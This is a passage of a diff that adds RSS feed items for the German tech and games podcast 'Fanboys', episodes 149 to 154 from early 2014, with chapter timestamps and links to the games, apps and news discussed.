+ <guid isPermaLink="false">FAN154</guid>
+ <pubDate>Thu, 13 Feb 2014 16:24:37 +0100</pubDate>
+ <itunes:duration>00:57:06</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:09:11 Die Flappy Bird Saga
+00:21:12 Amnesia Fortnight 2014
+00:24:43 Spotify: Single Track Repeat
+00:27:04 Outerlands
+00:29:51 Kami
+00:32:14 Narrative
+00:37:21 Papers Please
+00:45:34 Maverick Bird
+00:47:30 Stanley Parable
+00:50:15 JazzPunk
+00:53:40 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:09:11</td><td><a href="http://mashable.com/2014/02/10/flappy-bird-story/" target="_blank">Die Flappy Bird Saga</td></tr><tr><td>00:21:12</td><td><a href="https://www.humblebundle.com/double-fine" target="_blank">Amnesia Fortnight 2014</td></tr><tr><td>00:24:43</td><td>Spotify: Single Track Repeat</td></tr><tr><td>00:27:04</td><td><a href="https://www.kickstarter.com/projects/area5/outerlands-season-one" target="_blank">Outerlands</td></tr><tr><td>00:29:51</td><td><a href="https://itunes.apple.com/us/app/kami/id710724007?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Kami</td></tr><tr><td>00:32:14</td><td><a href="http://getnarrative.com" target="_blank">Narrative</td></tr><tr><td>00:37:21</td><td><a href="http://papersplea.se" target="_blank">Papers Please</td></tr><tr><td>00:45:34</td><td><a href="http://terrycavanaghgames.com/maverickbird/" target="_blank">Maverick Bird</td></tr><tr><td>00:47:30</td><td><a href="http://www.stanleyparable.com" target="_blank">Stanley Parable</td></tr><tr><td>00:50:15</td><td><a href="http://store.steampowered.com/app/250260/" target="_blank">JazzPunk</td></tr><tr><td>00:53:40</td><td><a href="http://dbsoundworks.bandcamp.com/album/friday-lost-nes-game-version" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:09:11" title="Die Flappy Bird Saga" href="http://mashable.com/2014/02/10/flappy-bird-story/" />
+ <sc:chapter start="00:21:12" title="Amnesia Fortnight 2014" href="https://www.humblebundle.com/double-fine" />
+ <sc:chapter start="00:24:43" title="Spotify: Single Track Repeat" />
+ <sc:chapter start="00:27:04" title="Outerlands" href="https://www.kickstarter.com/projects/area5/outerlands-season-one" />
+ <sc:chapter start="00:29:51" title="Kami" href="https://itunes.apple.com/us/app/kami/id710724007?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:32:14" title="Narrative" href="http://getnarrative.com" />
+ <sc:chapter start="00:37:21" title="Papers Please" href="http://papersplea.se" />
+ <sc:chapter start="00:45:34" title="Maverick Bird" href="http://terrycavanaghgames.com/maverickbird/" />
+ <sc:chapter start="00:47:30" title="Stanley Parable" href="http://www.stanleyparable.com" />
+ <sc:chapter start="00:50:15" title="JazzPunk" href="http://store.steampowered.com/app/250260/" />
+ <sc:chapter start="00:53:40" title="Rausschmeisser" href="http://dbsoundworks.bandcamp.com/album/friday-lost-nes-game-version" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23154&amp;user_id=map&amp;title=Fanboys%20Episode%20154&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#154:" />
+ </item>
+ <item>
+ <title>Episode #153 - Free to podcast</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Free to podcast</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN153.mp3" length="28598393" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN153</guid>
+ <pubDate>Thu, 06 Feb 2014 16:29:55 +0100</pubDate>
+ <itunes:duration>01:02:29</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:04 Facebook Paper vs. Fiftythree
+00:08:19 HF2PRE: Dungeon Keeper iOS
+00:19:16 App-Flipping
+00:25:17 Origami
+00:28:53 Wil Shipley über Reviews
+00:33:50 SteelSeries Stratus Hands-On
+00:40:46 The floor is jelly
+00:45:55 XCOM: Enemy Within - Elite Edition
+00:47:31 Threes
+00:49:12 Octodad
+00:52:43 The Wolf Among Us - Episode 2
+00:53:15 Evoland
+00:59:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:04</td><td><a href="http://news.fiftythree.com/post/75486632209/every-story-has-a-name-fiftythrees-story-began" target="_blank">Facebook Paper vs. Fiftythree</td></tr><tr><td>00:08:19</td><td><a href="http://www.escapistmagazine.com/articles/view/editorials/reviews/10956-Dungeon-Keeper-Mobile-Review-Wallet-Reaper" target="_blank">HF2PRE: Dungeon Keeper iOS</td></tr><tr><td>00:19:16</td><td><a href="http://www.bluecloudsolutions.com/blog/money-apps-turn-1k-200k-portfolio/" target="_blank">App-Flipping</td></tr><tr><td>00:25:17</td><td><a href="http://facebook.github.io/origami/" target="_blank">Origami</td></tr><tr><td>00:28:53</td><td><a href="http://www.loopinsight.com/2014/02/04/begging-for-app-ratings/" target="_blank">Wil Shipley über Reviews</td></tr><tr><td>00:33:50</td><td><a href="http://appleinsider.com/articles/14/01/19/review-steelseries-stratus-portable-wireless-gaming-controller-for-iphone-ipad" target="_blank">SteelSeries Stratus Hands-On</td></tr><tr><td>00:40:46</td><td><a href="http://thefloorisjelly.tumblr.com" target="_blank">The floor is jelly</td></tr><tr><td>00:45:55</td><td><a href="https://itunes.apple.com/us/app/xcom-enemy-unknown-elite-edition/id594787538?mt=12&amp;at=11lqBB&amp;ct=fanboys" target="_blank">XCOM: Enemy Within - Elite Edition</td></tr><tr><td>00:47:31</td><td><a href="https://itunes.apple.com/app/threes!/id779157948?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Threes</td></tr><tr><td>00:49:12</td><td><a href="http://www.octodadgame.com" target="_blank">Octodad</td></tr><tr><td>00:52:43</td><td><a href="https://itunes.apple.com/us/app/the-wolf-among-us/id716238885?at=11lqBB&amp;ct=fanboys" target="_blank">The Wolf Among Us - Episode 2</td></tr><tr><td>00:53:15</td><td><a href="http://evoland.shirogames.com" target="_blank">Evoland</td></tr><tr><td>00:59:02</td><td><a href="http://www.youtube.com/watch?v=xXkfyGQsjAk" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:04" title="Facebook Paper vs. Fiftythree" href="http://news.fiftythree.com/post/75486632209/every-story-has-a-name-fiftythrees-story-began" />
+ <sc:chapter start="00:08:19" title="HF2PRE: Dungeon Keeper iOS" href="http://www.escapistmagazine.com/articles/view/editorials/reviews/10956-Dungeon-Keeper-Mobile-Review-Wallet-Reaper" />
+ <sc:chapter start="00:19:16" title="App-Flipping" href="http://www.bluecloudsolutions.com/blog/money-apps-turn-1k-200k-portfolio/" />
+ <sc:chapter start="00:25:17" title="Origami" href="http://facebook.github.io/origami/" />
+ <sc:chapter start="00:28:53" title="Wil Shipley über Reviews" href="http://www.loopinsight.com/2014/02/04/begging-for-app-ratings/" />
+ <sc:chapter start="00:33:50" title="SteelSeries Stratus Hands-On" href="http://appleinsider.com/articles/14/01/19/review-steelseries-stratus-portable-wireless-gaming-controller-for-iphone-ipad" />
+ <sc:chapter start="00:40:46" title="The floor is jelly" href="http://thefloorisjelly.tumblr.com" />
+ <sc:chapter start="00:45:55" title="XCOM: Enemy Within - Elite Edition" href="https://itunes.apple.com/us/app/xcom-enemy-unknown-elite-edition/id594787538?mt=12&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:47:31" title="Threes" href="https://itunes.apple.com/app/threes!/id779157948?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:49:12" title="Octodad" href="http://www.octodadgame.com" />
+ <sc:chapter start="00:52:43" title="The Wolf Among Us - Episode 2" href="https://itunes.apple.com/us/app/the-wolf-among-us/id716238885?at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:53:15" title="Evoland" href="http://evoland.shirogames.com" />
+ <sc:chapter start="00:59:02" title="Rausschmeisser" href="http://www.youtube.com/watch?v=xXkfyGQsjAk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23153&amp;user_id=map&amp;title=Fanboys%20Episode%20153&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#153:" />
+ </item>
+ <item>
+ <title>Episode #152 - Fordie Laschorsch</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Fordie Laschorsch</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN152.mp3" length="21644888" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN152</guid>
+ <pubDate>Wed, 29 Jan 2014 17:27:54 +0100</pubDate>
+ <itunes:duration>00:48:04</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:43 Mal wieder Quartalszahlen
+00:03:42 F2P ruins everything
+00:06:35 Jonathan Blow über Game Design
+00:11:13 Bezahlen per TouchID?
+00:15:53 iOS in the Car video
+00:17:52 30 Jahre Mac
+00:20:15 Der CCC verklagt die Bundesregierung
+00:21:57 iWork update - AppleScript returns
+00:26:47 Mac Präsi
+00:29:42 Hopelite
+00:32:52 Hour of Code
+00:35:11 Redshirt
+00:40:46 Into the Dead
+00:45:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:43</td><td><a href="http://appleinsider.com/articles/14/01/28/wall-street-concerned-by-lower-than-expected-iphone-sales-in-apples-holiday-quarter?utm_source=dlvr.it&amp;utm_medium=twitter" target="_blank">Mal wieder Quartalszahlen</td></tr><tr><td>00:03:42</td><td><a href="http://www.destructoid.com/tales-of-phantasia-goes-free-to-play-on-ios-devices-269423.phtml" target="_blank">F2P ruins everything</td></tr><tr><td>00:06:35</td><td><a href="http://www.youtube.com/watch?v=AxFzf6yIfcc" target="_blank">Jonathan Blow über Game Design</td></tr><tr><td>00:11:13</td><td><a href="http://appleinsider.com/articles/14/01/27/apples-tim-cook-hints-at-expanded-mobile-payment-strategy-and-more-for-touch-id" target="_blank">Bezahlen per TouchID?</td></tr><tr><td>00:15:53</td><td><a href="http://www.macrumors.com/2014/01/28/ios-in-the-car-video/" target="_blank">iOS in the Car video</td></tr><tr><td>00:17:52</td><td><a href="http://www.stephenfry.com/2014/01/24/mac-at-30/single-page/" target="_blank">30 Jahre Mac</td></tr><tr><td>00:20:15</td><td><a href="http://www.heise.de/newsticker/meldung/NSA-Skandal-CCC-Sprecherin-stellt-Strafanzeige-gegen-die-Bundesregierung-2099375.html" target="_blank">Der CCC verklagt die Bundesregierung</td></tr><tr><td>00:21:57</td><td><a href="http://www.macworld.com/article/2090831/applescript-makes-a-comeback-in-numbers.html#tk.rss_all" target="_blank">iWork update - AppleScript returns</td></tr><tr><td>00:26:47</td><td><a href="http://www.macrumors.com/2014/01/26/macintosh-introduction-boston-computer-society/" target="_blank">Mac Präsi</td></tr><tr><td>00:29:42</td><td><a href="https://itunes.apple.com/us/app/hoplite/id782438457?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Hopelite</td></tr><tr><td>00:32:52</td><td><a href="https://itunes.apple.com/de/app/codecademy-hour-of-code/id762950096?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Hour of Code</td></tr><tr><td>00:35:11</td><td><a href="http://www.redshirtgame.com" target="_blank">Redshirt</td></tr><tr><td>00:40:46</td><td><a href="https://itunes.apple.com/de/app/into-the-dead/id535609266?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Into the Dead</td></tr><tr><td>00:45:30</td><td><a href="http://www.youtube.com/watch?v=QogzNVZL1Gs" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:43" title="Mal wieder Quartalszahlen" href="http://appleinsider.com/articles/14/01/28/wall-street-concerned-by-lower-than-expected-iphone-sales-in-apples-holiday-quarter?utm_source=dlvr.it&amp;utm_medium=twitter" />
+ <sc:chapter start="00:03:42" title="F2P ruins everything" href="http://www.destructoid.com/tales-of-phantasia-goes-free-to-play-on-ios-devices-269423.phtml" />
+ <sc:chapter start="00:06:35" title="Jonathan Blow über Game Design" href="http://www.youtube.com/watch?v=AxFzf6yIfcc" />
+ <sc:chapter start="00:11:13" title="Bezahlen per TouchID?" href="http://appleinsider.com/articles/14/01/27/apples-tim-cook-hints-at-expanded-mobile-payment-strategy-and-more-for-touch-id" />
+ <sc:chapter start="00:15:53" title="iOS in the Car video" href="http://www.macrumors.com/2014/01/28/ios-in-the-car-video/" />
+ <sc:chapter start="00:17:52" title="30 Jahre Mac" href="http://www.stephenfry.com/2014/01/24/mac-at-30/single-page/" />
+ <sc:chapter start="00:20:15" title="Der CCC verklagt die Bundesregierung" href="http://www.heise.de/newsticker/meldung/NSA-Skandal-CCC-Sprecherin-stellt-Strafanzeige-gegen-die-Bundesregierung-2099375.html" />
+ <sc:chapter start="00:21:57" title="iWork update - AppleScript returns" href="http://www.macworld.com/article/2090831/applescript-makes-a-comeback-in-numbers.html#tk.rss_all" />
+ <sc:chapter start="00:26:47" title="Mac Präsi" href="http://www.macrumors.com/2014/01/26/macintosh-introduction-boston-computer-society/" />
+ <sc:chapter start="00:29:42" title="Hopelite" href="https://itunes.apple.com/us/app/hoplite/id782438457?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:32:52" title="Hour of Code" href="https://itunes.apple.com/de/app/codecademy-hour-of-code/id762950096?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:35:11" title="Redshirt" href="http://www.redshirtgame.com" />
+ <sc:chapter start="00:40:46" title="Into the Dead" href="https://itunes.apple.com/de/app/into-the-dead/id535609266?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:45:30" title="Rausschmeisser" href="http://www.youtube.com/watch?v=QogzNVZL1Gs" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23152&amp;user_id=map&amp;title=Fanboys%20Episode%20152&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#152:" />
+ </item>
+ <item>
+ <title>Episode #151 - Candy Podcast Saga</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Candy Podcast Saga</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN151.mp3" length="29265777" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN151</guid>
+ <pubDate>Wed, 22 Jan 2014 17:55:58 +0100</pubDate>
+ <itunes:duration>01:07:34</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:58 Marcel bei Insert Moin
+00:04:59 Patreon
+00:09:58 iOS in the car
+00:17:36 Nintendo, die roten Zahlen und die Zukunft
+00:22:31 iPhablets
+00:24:33 Candy Crush Sagaâ„¢
+00:31:45 Protip: Originalvorschlag wiederherstellen
+00:38:28 Broken Age
+00:55:59 Abluxxen
+00:58:02 XCOM®: Enemy Unknown
+00:59:22 Outerlands
+01:03:06 Hearthstone
+01:04:52 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:58</td><td><a href="http://superlevel.de/cast/im924-2dreams-entwicklerinterview-mit-marcel-andre-casasola-merkle/" target="_blank">Marcel bei Insert Moin</td></tr><tr><td>00:04:59</td><td><a href="http://patreon.com" target="_blank">Patreon</td></tr><tr><td>00:09:58</td><td><a href="http://mashable.com/2014/01/21/apple-ios-in-the-car-preview/" target="_blank">iOS in the car</td></tr><tr><td>00:17:36</td><td><a href="http://www.vg247.com/2014/01/21/nintendo-is-working-on-a-new-console-and-handheld-called-fusion-ds-and-fusion-terminal-massive-rumor/" target="_blank">Nintendo, die roten Zahlen und die Zukunft</td></tr><tr><td>00:22:31</td><td><a href="http://news.cnet.com/8301-13579_3-57617499-37/iphone-6-said-to-be-unveiled-in-june-in-two-large-screen-sizes/" target="_blank">iPhablets</td></tr><tr><td>00:24:33</td><td><a href="http://www.polygon.com/2014/1/21/5329806/candy-crush-saga-developer-trademarks-candy" target="_blank">Candy Crush Saga™</td></tr><tr><td>00:31:45</td><td>Protip: Originalvorschlag wiederherstellen</td></tr><tr><td>00:38:28</td><td>Broken Age</td></tr><tr><td>00:55:59</td><td><a href="http://www.amazon.de/Ravensburger-27108-Abluxxen-Legespiel/dp/B00FTNEADG/ref=sr_1_1?ie=UTF8&amp;qid=1390384543&amp;sr=8-1&amp;keywords=abluxxen" target="_blank">Abluxxen</td></tr><tr><td>00:58:02</td><td><a href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">XCOM®: Enemy Unknown</td></tr><tr><td>00:59:22</td><td><a href="http://www.kickstarter.com/projects/area5/outerlands-season-one" target="_blank">Outerlands</td></tr><tr><td>01:03:06</td><td><a href="http://us.battle.net/hearthstone/en/" target="_blank">Hearthstone</td></tr><tr><td>01:04:52</td><td><a href="http://www.youtube.com/watch?v=7ZMz7Qr-NjE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:58" title="Marcel bei Insert Moin" href="http://superlevel.de/cast/im924-2dreams-entwicklerinterview-mit-marcel-andre-casasola-merkle/" />
+ <sc:chapter start="00:04:59" title="Patreon" href="http://patreon.com" />
+ <sc:chapter start="00:09:58" title="iOS in the car" href="http://mashable.com/2014/01/21/apple-ios-in-the-car-preview/" />
+ <sc:chapter start="00:17:36" title="Nintendo, die roten Zahlen und die Zukunft" href="http://www.vg247.com/2014/01/21/nintendo-is-working-on-a-new-console-and-handheld-called-fusion-ds-and-fusion-terminal-massive-rumor/" />
+ <sc:chapter start="00:22:31" title="iPhablets" href="http://news.cnet.com/8301-13579_3-57617499-37/iphone-6-said-to-be-unveiled-in-june-in-two-large-screen-sizes/" />
+ <sc:chapter start="00:24:33" title="Candy Crush Sagaâ„¢" href="http://www.polygon.com/2014/1/21/5329806/candy-crush-saga-developer-trademarks-candy" />
+ <sc:chapter start="00:31:45" title="Protip: Originalvorschlag wiederherstellen" />
+ <sc:chapter start="00:38:28" title="Broken Age" />
+ <sc:chapter start="00:55:59" title="Abluxxen" href="http://www.amazon.de/Ravensburger-27108-Abluxxen-Legespiel/dp/B00FTNEADG/ref=sr_1_1?ie=UTF8&amp;qid=1390384543&amp;sr=8-1&amp;keywords=abluxxen" />
+ <sc:chapter start="00:58:02" title="XCOM®: Enemy Unknown" href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:59:22" title="Outerlands" href="http://www.kickstarter.com/projects/area5/outerlands-season-one" />
+ <sc:chapter start="01:03:06" title="Hearthstone" href="http://us.battle.net/hearthstone/en/" />
+ <sc:chapter start="01:04:52" title="Rausschmeisser" href="http://www.youtube.com/watch?v=7ZMz7Qr-NjE" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23151&amp;user_id=map&amp;title=Fanboys%20Episode%20151&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#151:" />
+ </item>
+ <item>
+ <title>Episode #150 - Click and Point Adventure</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Click and Point Adventure</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN150.mp3" length="30201108" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN150</guid>
+ <pubDate>Wed, 15 Jan 2014 17:32:36 +0100</pubDate>
+ <itunes:duration>01:05:21</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:06:59 Androidgedöhns
+00:13:52 Apple meets Club der toten Dichter
+00:21:42 Google kauft Nest
+00:31:19 Broken Age
+00:48:00 Jelly
+00:50:58 Magnetized
+00:52:56 PKPKT
+00:56:36 Charge Card
+00:59:08 Noisli
+01:01:22 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:06:59</td><td>Androidgedöhns</td></tr><tr><td>00:13:52</td><td><a href="http://www.youtube.com/watch?v=jiyIcz7wUH0" target="_blank">Apple meets Club der toten Dichter</td></tr><tr><td>00:21:42</td><td><a href="http://www.reuters.com/article/2014/01/14/us-google-nest-idUSBREA0C1HP20140114" target="_blank">Google kauft Nest</td></tr><tr><td>00:31:19</td><td><a href="http://store.steampowered.com/app/232790/" target="_blank">Broken Age</td></tr><tr><td>00:48:00</td><td><a href="http://jelly.co" target="_blank">Jelly</td></tr><tr><td>00:50:58</td><td><a href="https://itunes.apple.com/de/app/magnetized/id791286984?mt=8" target="_blank">Magnetized</td></tr><tr><td>00:52:56</td><td><a href="https://itunes.apple.com/us/app/pkpkt/id687362268?mt=8" target="_blank">PKPKT</td></tr><tr><td>00:56:36</td><td><a href="http://www.hellonomad.com" target="_blank">Charge Card</td></tr><tr><td>00:59:08</td><td><a href="http://www.noisli.com" target="_blank">Noisli</td></tr><tr><td>01:01:22</td><td><a href="http://www.youtube.com/watch?v=op6Ty_Ko1hY" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:06:59" title="Androidgedöhns" />
+ <sc:chapter start="00:13:52" title="Apple meets Club der toten Dichter" href="http://www.youtube.com/watch?v=jiyIcz7wUH0" />
+ <sc:chapter start="00:21:42" title="Google kauft Nest" href="http://www.reuters.com/article/2014/01/14/us-google-nest-idUSBREA0C1HP20140114" />
+ <sc:chapter start="00:31:19" title="Broken Age" href="http://store.steampowered.com/app/232790/" />
+ <sc:chapter start="00:48:00" title="Jelly" href="http://jelly.co" />
+ <sc:chapter start="00:50:58" title="Magnetized" href="https://itunes.apple.com/de/app/magnetized/id791286984?mt=8" />
+ <sc:chapter start="00:52:56" title="PKPKT" href="https://itunes.apple.com/us/app/pkpkt/id687362268?mt=8" />
+ <sc:chapter start="00:56:36" title="Charge Card" href="http://www.hellonomad.com" />
+ <sc:chapter start="00:59:08" title="Noisli" href="http://www.noisli.com" />
+ <sc:chapter start="01:01:22" title="Rausschmeisser" href="http://www.youtube.com/watch?v=op6Ty_Ko1hY" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23150&amp;user_id=map&amp;title=Fanboys%20Episode%20150&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#150:" />
+ </item>
+ <item>
+ <title>Episode #149 - Palindromedar</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Palindromedar</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN149.mp3" length="40094345" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN149</guid>
+ <pubDate>Thu, 09 Jan 2014 16:51:12 +0100</pubDate>
+ <itunes:duration>01:30:29</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:22 SteelSeries Stratus
+00:13:53 Un-Fairphone
+00:27:19 Faire Maus
+00:30:44 Etwas 30c3
+00:33:10 Absurde NSA codenamen
+00:35:12 Do you think that's funny?
+00:36:30 Seidenstrasse und Gebäude
+00:37:05 Glass
+00:43:25 Siri öffnet auch Programme
+00:53:01 Condense
+00:55:29 Duet
+01:02:22 Atomic+
+01:03:24 Device 6
+01:12:07 Drei by Etter
+01:16:15 Monument Valley (Beta)
+01:19:40 Ghostery
+01:25:47 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:22</td><td><a href="http://steelseries.com/products/controllers/steelseries-stratus-wireless-gaming-controller" target="_blank">SteelSeries Stratus</td></tr><tr><td>00:13:53</td><td><a href="http://www.macmark.de/blog/osx_blog_2013-12-a.php" target="_blank">Un-Fairphone</td></tr><tr><td>00:27:19</td><td><a href="https://www.nager-it.de/maus" target="_blank">Faire Maus</td></tr><tr><td>00:30:44</td><td><a href="http://cdn.media.ccc.de/congress/30C3/mp4/" target="_blank">Etwas 30c3</td></tr><tr><td>00:33:10</td><td><a href="http://cdn.media.ccc.de/congress/30C3/mp4/30c3-5713-en-de-To_Protect_And_Infect_Part_2_h264-hq.mp4" target="_blank">Absurde NSA codenamen</td></tr><tr><td>00:35:12</td><td><a href="http://events.ccc.de/congress/2013/Fahrplan/events/5376.html" target="_blank">Do you think that's funny?</td></tr><tr><td>00:36:30</td><td>Seidenstrasse und Gebäude</td></tr><tr><td>00:37:05</td><td>Glass</td></tr><tr><td>00:43:25</td><td>Siri öffnet auch Programme</td></tr><tr><td>00:53:01</td><td><a href="https://itunes.apple.com/de/app/condense/id715394237?mt=12&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Condense</td></tr><tr><td>00:55:29</td><td><a href="https://itunes.apple.com/de/app/duet-game/id634235735?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Duet</td></tr><tr><td>01:02:22</td><td><a href="https://itunes.apple.com/de/app/atomic+/id773373906?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Atomic+</td></tr><tr><td>01:03:24</td><td><a href="https://itunes.apple.com/de/app/device-6/id680366065?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Device 6</td></tr><tr><td>01:12:07</td><td><a href="https://itunes.apple.com/de/app/drei-by-etter/id708388097?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Drei by Etter</td></tr><tr><td>01:16:15</td><td><a href="http://www.monumentvalleygame.com" target="_blank">Monument Valley (Beta)</td></tr><tr><td>01:19:40</td><td><a href="http://www.ghostery.com" target="_blank">Ghostery</td></tr><tr><td>01:25:47</td><td><a href="http://www.youtube.com/watch?v=vwy1hHqRT3o" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:22" title="SteelSeries Stratus" href="http://steelseries.com/products/controllers/steelseries-stratus-wireless-gaming-controller" />
+ <sc:chapter start="00:13:53" title="Un-Fairphone" href="http://www.macmark.de/blog/osx_blog_2013-12-a.php" />
+ <sc:chapter start="00:27:19" title="Faire Maus" href="https://www.nager-it.de/maus" />
+ <sc:chapter start="00:30:44" title="Etwas 30c3" href="http://cdn.media.ccc.de/congress/30C3/mp4/" />
+ <sc:chapter start="00:33:10" title="Absurde NSA codenamen" href="http://cdn.media.ccc.de/congress/30C3/mp4/30c3-5713-en-de-To_Protect_And_Infect_Part_2_h264-hq.mp4" />
+ <sc:chapter start="00:35:12" title="Do you think that's funny?" href="http://events.ccc.de/congress/2013/Fahrplan/events/5376.html" />
+ <sc:chapter start="00:36:30" title="Seidenstrasse und Gebäude" />
+ <sc:chapter start="00:37:05" title="Glass" />
+ <sc:chapter start="00:43:25" title="Siri öffnet auch Programme" />
+ <sc:chapter start="00:53:01" title="Condense" href="https://itunes.apple.com/de/app/condense/id715394237?mt=12&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:55:29" title="Duet" href="https://itunes.apple.com/de/app/duet-game/id634235735?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:02:22" title="Atomic+" href="https://itunes.apple.com/de/app/atomic+/id773373906?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:03:24" title="Device 6" href="https://itunes.apple.com/de/app/device-6/id680366065?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:12:07" title="Drei by Etter" href="https://itunes.apple.com/de/app/drei-by-etter/id708388097?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:16:15" title="Monument Valley (Beta)" href="http://www.monumentvalleygame.com" />
+ <sc:chapter start="01:19:40" title="Ghostery" href="http://www.ghostery.com" />
+ <sc:chapter start="01:25:47" title="Rausschmeisser" href="http://www.youtube.com/watch?v=vwy1hHqRT3o" />
+ </sc:chapters>
